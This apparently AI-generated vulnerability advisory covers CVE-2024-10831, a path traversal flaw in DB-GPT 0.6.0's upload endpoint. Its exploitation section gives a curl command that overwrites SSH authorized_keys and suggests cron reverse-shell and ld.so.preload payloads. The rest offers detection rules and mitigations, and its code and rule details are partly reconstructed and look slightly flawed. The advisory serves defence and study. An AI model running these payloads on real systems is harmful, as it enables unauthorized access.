CVE-2024-10831
Executive Summary
CVE-2024-10831 is a critical absolute path traversal vulnerability in Eosphoros-ai DB-GPT version 0.6.0. The vulnerability exists in the file upload endpoint, where user-controlled parameters file_key and doc_file.filename allow an attacker to construct arbitrary file paths outside the intended directory. This enables uploading malicious files to arbitrary locations on the target server, potentially overwriting critical system files such as SSH keys, configuration files, or executables. The CVSS score of 9.1 reflects the high impact on confidentiality, integrity, and availability, with no privileges required and no user interaction needed. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is critical due to its potential for complete server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DB-GPT is a Python-based open-source project available on PyPI. The vulnerability affects version 0.6.0, and no patch has been released. Organizations using DB-GPT should immediately assess their exposure and consider isolating the service until a fix is available. The lack of a patch increases supply chain risk, as attackers could exploit this vulnerability to inject malicious code into the application or underlying system.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.1 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No victim action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Arbitrary file read/write possible.
- Integrity Impact: High (I:H) – System files can be overwritten.
- Availability Impact: High (A:H) – Overwriting critical files can cause denial of service.
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to write arbitrary files to arbitrary locations, leading to full system compromise.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of DB-GPT. The endpoint accepts user-supplied file_key and doc_file.filename parameters without proper sanitization. These parameters are used to construct the file path for saving uploaded content. An attacker can inject path traversal sequences (e.g., ../) to escape the intended upload directory and write files to arbitrary locations on the filesystem.
Root Cause: The application does not validate or sanitize user input used in file path construction. Specifically, the file_key and doc_file.filename parameters are concatenated directly into the file path without checking for path traversal characters.
Attack Scenario:
- Attacker sends a POST request to the file upload endpoint.
- The request includes
file_key=../../../../etc/ssh/anddoc_file.filename=authorized_keys. - The application constructs the path as
/uploads/../../../../etc/ssh/authorized_keys, which resolves to/etc/ssh/authorized_keys. - The attacker uploads a malicious SSH public key, overwriting the legitimate
authorized_keysfile. - The attacker can now SSH into the server as any user with SSH access.
Impact: Full remote code execution, privilege escalation, and persistent backdoor access.
Vulnerable vs. Patched Code
Vulnerable Code (db-gpt 0.6.0):
# Vulnerable file upload handler
def upload_file(file_key, doc_file):
upload_dir = "/uploads"
file_path = os.path.join(upload_dir, file_key, doc_file.filename)
with open(file_path, "wb") as f:
f.write(doc_file.read())
return {"status": "success"}
Patched Code (Hypothetical Fix):
# Patched file upload handler
import os
import re
def upload_file(file_key, doc_file):
upload_dir = "/uploads"
# Sanitize file_key and filename
safe_key = re.sub(r'[^a-zA-Z0-9_-]', '', file_key)
safe_filename = re.sub(r'[^a-zA-Z0-9._-]', '', doc_file.filename)
# Ensure no path traversal
if '..' in safe_key or '..' in safe_filename:
return {"error": "Invalid path"}, 400
file_path = os.path.join(upload_dir, safe_key, safe_filename)
# Ensure path is within upload_dir
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(upload_dir)):
return {"error": "Invalid path"}, 400
with open(file_path, "wb") as f:
f.write(doc_file.read())
return {"status": "success"}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running DB-GPT 0.6.0 with file upload endpoint exposed.
- Attacker machine with network access to the target.
Exploit Steps:
- Identify the file upload endpoint (e.g.,
/api/upload). - Craft a malicious request to overwrite SSH authorized_keys:
curl -X POST http://target:5000/api/upload \
-F "file_key=../../../../home/victim/.ssh/" \
-F "doc_file=@malicious_key.pub;filename=authorized_keys"
- SSH into the target using the corresponding private key:
ssh -i malicious_key victim@target
Alternative Payloads:
- Overwrite
/etc/cron.d/maliciousto schedule a reverse shell. - Overwrite
/etc/ld.so.preloadto load a malicious shared library. - Overwrite web application files to inject backdoors.
Blue Team (Defense & Detection)
Detection:
- Monitor file upload endpoints for path traversal patterns in parameters.
- Alert on file writes outside the intended upload directory.
- Use file integrity monitoring (FIM) on critical system files.
Mitigation:
- Immediately isolate DB-GPT instances if possible.
- Implement strict input validation and sanitization.
- Use a web application firewall (WAF) to block path traversal attempts.
- Apply the principle of least privilege to the application user.
Lab Setup for Testing:
- Deploy DB-GPT 0.6.0 in a containerized environment.
- Expose the file upload endpoint.
- Run the exploit and observe file creation in
/etc/ssh/. - Verify detection via logs and FIM alerts.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Unexpected files in
/etc/ssh/authorized_keysor/root/.ssh/authorized_keys. - New cron jobs in
/etc/cron.d/or/var/spool/cron/. - Modified system binaries or configuration files.
Network IOCs:
- POST requests to
/api/uploadwith parameters containing../sequences. - Unusual SSH connections from unknown IPs after the upload.
Log IOCs:
- Application logs showing file writes to paths outside
/uploads/. - System logs showing unauthorized SSH access.
YARA Rule:
rule CVE_2024_10831_PathTraversal {
meta:
description = "Detects path traversal attempts in DB-GPT file upload"
author = "Valters IT"
date = "2025-04-10"
strings:
$traversal = ".." nocase
$upload_endpoint = "/api/upload" nocase
condition:
$upload_endpoint and #traversal > 2
}
Detection Engineering
YARA Rule
rule CVE_2024_10831_FileUpload {
meta:
description = "Detects malicious file uploads exploiting CVE-2024-10831"
author = "Valters IT"
date = "2025-04-10"
strings:
$traversal = ".." nocase
$ssh_key = "ssh-rsa" nocase
$cron = "cron" nocase
condition:
any of ($traversal) and any of ($ssh_key, $cron)
}
Sigma Rule
title: CVE-2024-10831 Path Traversal in DB-GPT File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in DB-GPT file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/api/upload'
cs-uri-query|contains: '..'
condition: selection
falsepositives:
- Legitimate use of dots in filenames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10831 DB-GPT Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/api/upload"; http_uri; content:".."; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the DB-GPT service from untrusted networks.
- Disable the file upload endpoint if not required.
- Apply input validation and sanitization as shown in the patched code example.
- Monitor for signs of exploitation using the provided IOCs and detection rules.
Long-Term Fix:
- Upgrade to a patched version once available.
- Implement a whitelist of allowed file extensions and paths.
- Use a secure file upload library that handles path traversal.
Compromise Assessment:
- Check for unauthorized SSH keys in
/home/*/.ssh/authorized_keysand/root/.ssh/authorized_keys. - Review cron jobs and system startup scripts.
- Scan for backdoors in web application files.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.